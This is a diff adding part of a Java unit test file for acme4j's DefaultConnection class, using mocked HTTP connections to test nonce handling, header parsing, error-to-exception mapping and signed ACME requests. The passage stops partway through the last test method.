+import static org.shredzone.acme4j.toolbox.TestUtils.url;
+import static uk.co.datumedge.hamcrest.json.SameJSONAs.sameJSONAs;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.OutputStreamWriter;
+import java.net.HttpURLConnection;
+import java.net.Proxy;
+import java.net.URI;
+import java.net.URL;
+import java.security.KeyPair;
+import java.security.cert.X509Certificate;
+import java.time.Duration;
+import java.time.Instant;
+import java.time.temporal.ChronoUnit;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+
+import org.jose4j.base64url.Base64Url;
+import org.jose4j.jws.JsonWebSignature;
+import org.jose4j.jwx.CompactSerializer;
+import org.junit.Before;
+import org.junit.Test;
+import org.mockito.ArgumentMatchers;
+import org.shredzone.acme4j.Login;
+import org.shredzone.acme4j.Session;
+import org.shredzone.acme4j.exception.AcmeException;
+import org.shredzone.acme4j.exception.AcmeProtocolException;
+import org.shredzone.acme4j.exception.AcmeRateLimitedException;
+import org.shredzone.acme4j.exception.AcmeRetryAfterException;
+import org.shredzone.acme4j.exception.AcmeServerException;
+import org.shredzone.acme4j.exception.AcmeUnauthorizedException;
+import org.shredzone.acme4j.exception.AcmeUserActionRequiredException;
+import org.shredzone.acme4j.provider.AcmeProvider;
+import org.shredzone.acme4j.toolbox.AcmeUtils;
+import org.shredzone.acme4j.toolbox.JSON;
+import org.shredzone.acme4j.toolbox.JSONBuilder;
+import org.shredzone.acme4j.toolbox.TestUtils;
+
+/**
+ * Unit tests for {@link DefaultConnection}.
+ */
+public class DefaultConnectionTest {
+
+    private URL requestUrl = TestUtils.url("http://example.com/acme/");
+    private URL accountUrl = TestUtils.url(TestUtils.ACCOUNT_URL);
+    private HttpURLConnection mockUrlConnection;
+    private HttpConnector mockHttpConnection;
+    private Session session;
+    private Login login;
+    private KeyPair keyPair;
+
+    @Before
+    public void setup() throws AcmeException, IOException {
+        mockUrlConnection = mock(HttpURLConnection.class);
+
+        mockHttpConnection = mock(HttpConnector.class);
+        when(mockHttpConnection.openConnection(requestUrl, Proxy.NO_PROXY)).thenReturn(mockUrlConnection);
+
+        final AcmeProvider mockProvider = mock(AcmeProvider.class);
+        when(mockProvider.directory(
+                        ArgumentMatchers.any(Session.class),
+                        ArgumentMatchers.eq(URI.create(TestUtils.ACME_SERVER_URI))))
+            .thenReturn(TestUtils.getJSON("directory"));
+
+        session = TestUtils.session(mockProvider);
+        session.setLocale(Locale.JAPAN);
+
+        keyPair = TestUtils.createKeyPair();
+
+        login = session.login(accountUrl, keyPair);
+    }
+
+    /**
+     * Test that {@link DefaultConnection#getNonce()} returns {@code null} if there is no
+     * {@code Replay-Nonce} header.
+     */
+    @Test
+    public void testNoNonceFromHeader() {
+        when(mockUrlConnection.getHeaderField("Replay-Nonce")).thenReturn(null);
+
+        assertThat(session.getNonce(), is(nullValue()));
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            assertThat(conn.getNonce(), is(nullValue()));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Replay-Nonce");
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that {@link DefaultConnection#getNonce()} extracts a {@code Replay-Nonce}
+     * header correctly.
+     */
+    @Test
+    public void testGetNonceFromHeader() {
+        when(mockUrlConnection.getHeaderField("Replay-Nonce"))
+                .thenReturn(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            assertThat(conn.getNonce(), is(TestUtils.DUMMY_NONCE));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Replay-Nonce");
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that {@link DefaultConnection#getNonce()} fails on an invalid
+     * {@code Replay-Nonce} header.
+     */
+    @Test
+    public void testInvalidNonceFromHeader() {
+        String badNonce = "#$%&/*+*#'";
+
+        when(mockUrlConnection.getHeaderField("Replay-Nonce")).thenReturn(badNonce);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.getNonce();
+            fail("Expected to fail");
+        } catch (AcmeProtocolException ex) {
+            assertThat(ex.getMessage(), org.hamcrest.Matchers.startsWith("Invalid replay nonce"));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Replay-Nonce");
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that {@link DefaultConnection#resetNonce(Session)} fetches a new nonce via
+     * new-nonce resource and a HEAD request.
+     */
+    @Test
+    public void testResetNonce() throws AcmeException, IOException {
+        when(mockHttpConnection.openConnection(new URL("https://example.com/acme/new-nonce"), Proxy.NO_PROXY))
+                .thenReturn(mockUrlConnection);
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_NO_CONTENT);
+
+        assertThat(session.getNonce(), is(nullValue()));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.resetNonce(session);
+            fail("missing Replay-Nonce header not detected");
+        } catch (AcmeProtocolException ex) {
+            // expected
+        }
+
+        assertThat(session.getNonce(), is(nullValue()));
+
+        when(mockUrlConnection.getHeaderField("Replay-Nonce"))
+                .thenReturn(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.resetNonce(session);
+        }
+
+        assertThat(session.getNonce(), is(TestUtils.DUMMY_NONCE));
+
+        verify(mockUrlConnection, atLeastOnce()).setRequestMethod("HEAD");
+        verify(mockUrlConnection, atLeastOnce()).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection, atLeastOnce()).connect();
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Replay-Nonce");
+        verify(mockUrlConnection, atLeastOnce()).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that an absolute Location header is evaluated.
+     */
+    @Test
+    public void testGetAbsoluteLocation() throws Exception {
+        when(mockUrlConnection.getHeaderField("Location")).thenReturn("https://example.com/otherlocation");
+        when(mockUrlConnection.getURL()).thenReturn(new URL("https://example.org/acme"));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            URL location = conn.getLocation();
+            assertThat(location, is(new URL("https://example.com/otherlocation")));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Location");
+        verify(mockUrlConnection).getURL();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that a relative Location header is evaluated.
+     */
+    @Test
+    public void testGetRelativeLocation() throws Exception {
+        when(mockUrlConnection.getHeaderField("Location")).thenReturn("/otherlocation");
+        when(mockUrlConnection.getURL()).thenReturn(new URL("https://example.org/acme"));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            URL location = conn.getLocation();
+            assertThat(location, is(new URL("https://example.org/otherlocation")));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Location");
+        verify(mockUrlConnection).getURL();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that absolute and relative Link headers are evaluated.
+     */
+    @Test
+    public void testGetLink() throws Exception {
+        Map<String, List<String>> headers = new HashMap<>();
+        headers.put("Content-Type", Arrays.asList("application/json"));
+        headers.put("Location", Arrays.asList("https://example.com/acme/acct/asdf"));
+        headers.put("Link", Arrays.asList(
+                        "<https://example.com/acme/new-authz>;rel=\"next\"",
+                        "</recover-acct>;rel=recover",
+                        "<https://example.com/acme/terms>; rel=\"terms-of-service\""
+                    ));
+
+        when(mockUrlConnection.getHeaderFields()).thenReturn(headers);
+        when(mockUrlConnection.getURL()).thenReturn(new URL("https://example.org/acme"));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            assertThat(conn.getLinks("next"), containsInAnyOrder(new URL("https://example.com/acme/new-authz")));
+            assertThat(conn.getLinks("recover"), containsInAnyOrder(new URL("https://example.org/recover-acct")));
+            assertThat(conn.getLinks("terms-of-service"), containsInAnyOrder(new URL("https://example.com/acme/terms")));
+            assertThat(conn.getLinks("secret-stuff"), is(empty()));
+        }
+    }
+
+    /**
+     * Test that multiple link headers are evaluated.
+     */
+    @Test
+    public void testGetMultiLink() {
+        URL baseUrl = url("https://example.com/acme/request/1234");
+
+        Map<String, List<String>> headers = new HashMap<>();
+        headers.put("Link", Arrays.asList(
+                        "<https://example.com/acme/terms1>; rel=\"terms-of-service\"",
+                        "<https://example.com/acme/terms2>; rel=\"terms-of-service\"",
+                        "<../terms3>; rel=\"terms-of-service\""
+                    ));
+
+        when(mockUrlConnection.getHeaderFields()).thenReturn(headers);
+        when(mockUrlConnection.getURL()).thenReturn(baseUrl);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            assertThat(conn.getLinks("terms-of-service"), containsInAnyOrder(
+                        url("https://example.com/acme/terms1"),
+                        url("https://example.com/acme/terms2"),
+                        url("https://example.com/acme/terms3")
+            ));
+        }
+    }
+
+    /**
+     * Test that no link headers are properly handled.
+     */
+    @Test
+    public void testGetNoLink() {
+        Map<String, List<String>> headers = Collections.emptyMap();
+        when(mockUrlConnection.getHeaderFields()).thenReturn(headers);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            assertThat(conn.getLinks("something"), is(empty()));
+        }
+    }
+
+    /**
+     * Test that no Location header returns {@code null}.
+     */
+    @Test
+    public void testNoLocation() {
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            URL location = conn.getLocation();
+            assertThat(location, is(nullValue()));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Location");
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test if Retry-After header with absolute date is correctly parsed.
+     */
+    @Test
+    public void testHandleRetryAfterHeaderDate() throws AcmeException, IOException {
+        Instant retryDate = Instant.now().plus(Duration.ofHours(10)).truncatedTo(ChronoUnit.MILLIS);
+        String retryMsg = "absolute date";
+
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getHeaderField("Retry-After")).thenReturn(retryDate.toString());
+        when(mockUrlConnection.getHeaderFieldDate("Retry-After", 0L)).thenReturn(retryDate.toEpochMilli());
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.handleRetryAfter(retryMsg);
+            fail("no AcmeRetryAfterException was thrown");
+        } catch (AcmeRetryAfterException ex) {
+            assertThat(ex.getRetryAfter(), is(retryDate));
+            assertThat(ex.getMessage(), is(retryMsg));
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Retry-After");
+    }
+
+    /**
+     * Test if Retry-After header with relative timespan is correctly parsed.
+     */
+    @Test
+    public void testHandleRetryAfterHeaderDelta() throws AcmeException, IOException {
+        int delta = 10 * 60 * 60;
+        long now = System.currentTimeMillis();
+        String retryMsg = "relative time";
+
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getHeaderField("Retry-After"))
+                .thenReturn(String.valueOf(delta));
+        when(mockUrlConnection.getHeaderFieldDate(
+                        ArgumentMatchers.eq("Date"),
+                        ArgumentMatchers.anyLong()))
+                .thenReturn(now);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.handleRetryAfter(retryMsg);
+            fail("no AcmeRetryAfterException was thrown");
+        } catch (AcmeRetryAfterException ex) {
+            assertThat(ex.getRetryAfter(), is(Instant.ofEpochMilli(now).plusSeconds(delta)));
+            assertThat(ex.getMessage(), is(retryMsg));
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Retry-After");
+    }
+
+    /**
+     * Test if no Retry-After header is correctly handled.
+     */
+    @Test
+    public void testHandleRetryAfterHeaderNull() throws AcmeException, IOException {
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getHeaderField("Retry-After"))
+                .thenReturn(null);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.handleRetryAfter("no header");
+        } catch (AcmeRetryAfterException ex) {
+            fail("an AcmeRetryAfterException was thrown");
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Retry-After");
+    }
+
+    /**
+     * Test if missing retry-after header is correctly handled.
+     */
+    @Test
+    public void testHandleRetryAfterNotAccepted() throws AcmeException, IOException {
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.handleRetryAfter("http ok");
+        } catch (AcmeRetryAfterException ex) {
+            fail("an AcmeRetryAfterException was thrown");
+        }
+    }
+
+    /**
+     * Test if an {@link AcmeServerException} is thrown on an acme problem.
+     */
+    @Test
+    public void testAccept() throws Exception {
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getOutputStream()).thenReturn(new ByteArrayOutputStream());
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            int rc = conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            assertThat(rc, is(HttpURLConnection.HTTP_OK));
+        }
+
+        verify(mockUrlConnection).getResponseCode();
+    }
+
+    /**
+     * Test if an {@link AcmeServerException} is thrown on an acme problem.
+     */
+    @Test
+    public void testAcceptThrowsException() throws Exception {
+        String jsonData = "{\"type\":\"urn:ietf:params:acme:error:unauthorized\",\"detail\":\"Invalid response: 404\"}";
+
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/problem+json");
+        when(mockUrlConnection.getContentLength()).thenReturn(jsonData.length());
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_FORBIDDEN);
+        when(mockUrlConnection.getOutputStream()).thenReturn(new ByteArrayOutputStream());
+        when(mockUrlConnection.getErrorStream()).thenReturn(new ByteArrayInputStream(jsonData.getBytes("utf-8")));
+        when(mockUrlConnection.getURL()).thenReturn(url("https://example.com/acme/1"));
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeUnauthorizedException ex) {
+            assertThat(ex.getType(), is(URI.create("urn:ietf:params:acme:error:unauthorized")));
+            assertThat(ex.getMessage(), is("Invalid response: 404"));
+        } catch (AcmeException ex) {
+            fail("Expected an AcmeUnauthorizedException");
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection).getContentLength();
+        verify(mockUrlConnection).getErrorStream();
+        verify(mockUrlConnection).getURL();
+    }
+
+    /**
+     * Test if an {@link AcmeUserActionRequiredException} is thrown on an acme problem.
+     */
+    @Test
+    public void testAcceptThrowsUserActionRequiredException() throws Exception {
+        String jsonData = "{\"type\":\"urn:ietf:params:acme:error:userActionRequired\",\"detail\":\"Accept the TOS\"}";
+
+        Map<String, List<String>> linkHeader = new HashMap<>();
+        linkHeader.put("Link", Arrays.asList("<https://example.com/tos.pdf>; rel=\"terms-of-service\""));
+
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/problem+json");
+        when(mockUrlConnection.getContentLength()).thenReturn(jsonData.length());
+        when(mockUrlConnection.getHeaderFields()).thenReturn(linkHeader);
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_FORBIDDEN);
+        when(mockUrlConnection.getOutputStream()).thenReturn(new ByteArrayOutputStream());
+        when(mockUrlConnection.getErrorStream()).thenReturn(new ByteArrayInputStream(jsonData.getBytes("utf-8")));
+        when(mockUrlConnection.getURL()).thenReturn(url("https://example.com/acme/1"));
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeUserActionRequiredException ex) {
+            assertThat(ex.getType(), is(URI.create("urn:ietf:params:acme:error:userActionRequired")));
+            assertThat(ex.getMessage(), is("Accept the TOS"));
+            assertThat(ex.getTermsOfServiceUri(), is(URI.create("https://example.com/tos.pdf")));
+        } catch (AcmeException ex) {
+            fail("Expected an AcmeUserActionRequiredException");
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getHeaderFields();
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection).getErrorStream();
+        verify(mockUrlConnection).getContentLength();
+        verify(mockUrlConnection, atLeastOnce()).getURL();
+    }
+
+    /**
+     * Test if an {@link AcmeRateLimitedException} is thrown on an acme problem.
+     */
+    @Test
+    public void testAcceptThrowsRateLimitedException() throws Exception {
+        String jsonData = "{\"type\":\"urn:ietf:params:acme:error:rateLimited\",\"detail\":\"Too many invocations\"}";
+
+        Map<String, List<String>> linkHeader = new HashMap<>();
+        linkHeader.put("Link", Arrays.asList("<https://example.com/rates.pdf>; rel=\"urn:ietf:params:acme:documentation\""));
+
+        Instant retryAfter = Instant.now().plusSeconds(30L).truncatedTo(ChronoUnit.MILLIS);
+
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/problem+json");
+        when(mockUrlConnection.getContentLength()).thenReturn(jsonData.length());
+        when(mockUrlConnection.getHeaderField("Retry-After")).thenReturn(retryAfter.toString());
+        when(mockUrlConnection.getHeaderFieldDate("Retry-After", 0L)).thenReturn(retryAfter.toEpochMilli());
+        when(mockUrlConnection.getHeaderFields()).thenReturn(linkHeader);
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_FORBIDDEN);
+        when(mockUrlConnection.getOutputStream()).thenReturn(new ByteArrayOutputStream());
+        when(mockUrlConnection.getErrorStream()).thenReturn(new ByteArrayInputStream(jsonData.getBytes("utf-8")));
+        when(mockUrlConnection.getURL()).thenReturn(url("https://example.com/acme/1"));
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeRateLimitedException ex) {
+            assertThat(ex.getType(), is(URI.create("urn:ietf:params:acme:error:rateLimited")));
+            assertThat(ex.getMessage(), is("Too many invocations"));
+            assertThat(ex.getRetryAfter(), is(retryAfter));
+            assertThat(ex.getDocuments(), is(notNullValue()));
+            assertThat(ex.getDocuments().size(), is(1));
+            assertThat(ex.getDocuments().iterator().next(), is(url("https://example.com/rates.pdf")));
+        } catch (AcmeException ex) {
+            fail("Expected an AcmeRateLimitedException");
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Retry-After");
+        verify(mockUrlConnection).getHeaderFieldDate("Retry-After", 0L);
+        verify(mockUrlConnection, atLeastOnce()).getHeaderFields();
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection).getContentLength();
+        verify(mockUrlConnection).getErrorStream();
+        verify(mockUrlConnection, atLeastOnce()).getURL();
+    }
+
+    /**
+     * Test if an {@link AcmeServerException} is thrown on another problem.
+     */
+    @Test
+    public void testAcceptThrowsOtherException() throws IOException {
+        when(mockUrlConnection.getHeaderField("Content-Type"))
+                .thenReturn("application/problem+json");
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_INTERNAL_ERROR);
+        when(mockUrlConnection.getURL())
+                .thenReturn(url("https://example.com/acme/1"));
+        when(mockUrlConnection.getOutputStream())
+                .thenReturn(new ByteArrayOutputStream());
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public JSON readJsonResponse() {
+                JSONBuilder result = new JSONBuilder();
+                result.put("type", "urn:zombie:error:apocalypse");
+                result.put("detail", "Zombie apocalypse in progress");
+                return result.toJSON();
+            }
+        }) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeServerException ex) {
+            assertThat(ex.getType(), is(URI.create("urn:zombie:error:apocalypse")));
+            assertThat(ex.getMessage(), is("Zombie apocalypse in progress"));
+        } catch (AcmeException ex) {
+            fail("Expected an AcmeServerException");
+        }
+
+        verify(mockUrlConnection).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection).getURL();
+    }
+
+    /**
+     * Test if an {@link AcmeException} is thrown if there is no error type.
+     */
+    @Test
+    public void testAcceptThrowsNoTypeException() throws IOException {
+        when(mockUrlConnection.getHeaderField("Content-Type"))
+                .thenReturn("application/problem+json");
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_INTERNAL_ERROR);
+        when(mockUrlConnection.getURL())
+                .thenReturn(url("https://example.com/acme/1"));
+        when(mockUrlConnection.getOutputStream())
+                .thenReturn(new ByteArrayOutputStream());
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public JSON readJsonResponse() {
+                return JSON.empty();
+            }
+        }) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeProtocolException ex) {
+            assertThat(ex.getMessage(), not(isEmptyOrNullString()));
+        } catch (AcmeException ex) {
+            fail("Did not expect an AcmeException");
+        }
+
+        verify(mockUrlConnection).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection).getURL();
+    }
+
+    /**
+     * Test if an {@link AcmeException} is thrown if there is a generic error.
+     */
+    @Test
+    public void testAcceptThrowsServerException() throws IOException {
+        when(mockUrlConnection.getHeaderField("Content-Type"))
+                .thenReturn("text/html");
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_INTERNAL_ERROR);
+        when(mockUrlConnection.getResponseMessage())
+                .thenReturn("Infernal Server Error");
+        when(mockUrlConnection.getOutputStream())
+                .thenReturn(new ByteArrayOutputStream());
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeException ex) {
+            assertThat(ex.getMessage(), is("HTTP 500: Infernal Server Error"));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection, atLeastOnce()).getResponseMessage();
+    }
+
+    /**
+     * Test GET requests.
+     */
+    @Test
+    public void testSendRequest() throws Exception {
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.sendRequest(requestUrl, session);
+        }
+
+        verify(mockUrlConnection).setRequestMethod("GET");
+        verify(mockUrlConnection).setRequestProperty("Accept", "application/json");
+        verify(mockUrlConnection).setRequestProperty("Accept-Charset", "utf-8");
+        verify(mockUrlConnection).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection).setDoOutput(false);
+        verify(mockUrlConnection).connect();
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection, atLeast(0)).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test signed POST requests.
+     */
+    @Test
+    public void testSendSignedRequest() throws Exception {
+        final String nonce1 = Base64Url.encode("foo-nonce-1-foo".getBytes());
+        final String nonce2 = Base64Url.encode("foo-nonce-2-foo".getBytes());
+        final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getOutputStream()).thenReturn(outputStream);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public void resetNonce(Session session) {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == null) {
+                    session.setNonce(nonce1);
+                } else {
+                    fail("unknown nonce");
+                }
+            }
+
+            @Override
+            public String getNonce() {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == nonce1) {
+                    return nonce2;
+                } else {
+                    fail("unknown nonce");
+                    return null;
+                }
+            }
+        }) {
+            JSONBuilder cb = new JSONBuilder();
+            cb.put("foo", 123).put("bar", "a-string");
+            conn.sendSignedRequest(requestUrl, cb, login);
+        }
+
+        verify(mockUrlConnection).setRequestMethod("POST");
+        verify(mockUrlConnection).setRequestProperty("Accept", "application/json");
+        verify(mockUrlConnection).setRequestProperty("Accept-Charset", "utf-8");
+        verify(mockUrlConnection).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection).setRequestProperty("Content-Type", "application/jose+json");
+        verify(mockUrlConnection).connect();
+        verify(mockUrlConnection).setDoOutput(true);
+        verify(mockUrlConnection).setFixedLengthStreamingMode(outputStream.toByteArray().length);
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection).getOutputStream();
+        verify(mockUrlConnection, atLeast(0)).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+
+        JSON data = JSON.parse(new String(outputStream.toByteArray(), "utf-8"));
+        String encodedHeader = data.get("protected").asString();
+        String encodedSignature = data.get("signature").asString();
+        String encodedPayload = data.get("payload").asString();
+
+        StringBuilder expectedHeader = new StringBuilder();
+        expectedHeader.append('{');
+        expectedHeader.append("\"nonce\":\"").append(nonce1).append("\",");
+        expectedHeader.append("\"url\":\"").append(requestUrl).append("\",");
+        expectedHeader.append("\"alg\":\"RS256\",");
+        expectedHeader.append("\"kid\":\"").append(accountUrl).append('"');
+        expectedHeader.append('}');
+
+        assertThat(Base64Url.decodeToUtf8String(encodedHeader), sameJSONAs(expectedHeader.toString()));
+        assertThat(Base64Url.decodeToUtf8String(encodedPayload), sameJSONAs("{\"foo\":123,\"bar\":\"a-string\"}"));
+        assertThat(encodedSignature, not(isEmptyOrNullString()));
+
+        JsonWebSignature jws = new JsonWebSignature();
+        jws.setCompactSerialization(CompactSerializer.serialize(encodedHeader, encodedPayload, encodedSignature));
+        jws.setKey(login.getKeyPair().getPublic());
+        assertThat(jws.verifySignature(), is(true));
+    }
+
+    /**
+     * Test signed POST-as-GET requests.
+     */
+    @Test
+    public void testSendSignedPostAsGetRequest() throws Exception {
+        final String nonce1 = Base64Url.encode("foo-nonce-1-foo".getBytes());
+        final String nonce2 = Base64Url.encode("foo-nonce-2-foo".getBytes());
+        final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getOutputStream()).thenReturn(outputStream);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public void resetNonce(Session session) {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == null) {
+                    session.setNonce(nonce1);
+                } else {
+                    fail("unknown nonce");
+                }
+            }
+
+            @Override
+            public String getNonce() {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == nonce1) {
+                    return nonce2;
+                } else {
+                    fail("unknown nonce");
+                    return null;
+                }
+            }
+        }) {
+            conn.sendSignedPostAsGetRequest(requestUrl, login);
+        }
+
+        verify(mockUrlConnection).setRequestMethod("POST");
+        verify(mockUrlConnection).setRequestProperty("Accept", "application/json");
+        verify(mockUrlConnection).setRequestProperty("Accept-Charset", "utf-8");
+        verify(mockUrlConnection).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection).setRequestProperty("Content-Type", "application/jose+json");
+        verify(mockUrlConnection).connect();
+        verify(mockUrlConnection).setDoOutput(true);
+        verify(mockUrlConnection).setFixedLengthStreamingMode(outputStream.toByteArray().length);
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection).getOutputStream();
+        verify(mockUrlConnection, atLeast(0)).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+
+        JSON data = JSON.parse(new String(outputStream.toByteArray(), "utf-8"));
+        String encodedHeader = data.get("protected").asString();
+        String encodedSignature = data.get("signature").asString();
+        String encodedPayload = data.get("payload").asString();
+
+        StringBuilder expectedHeader = new StringBuilder();
+        expectedHeader.append('{');
+        expectedHeader.append("\"nonce\":\"").append(nonce1).append("\",");
+        expectedHeader.append("\"url\":\"").append(requestUrl).append("\",");
+        expectedHeader.append("\"alg\":\"RS256\",");
+        expectedHeader.append("\"kid\":\"").append(accountUrl).append('"');
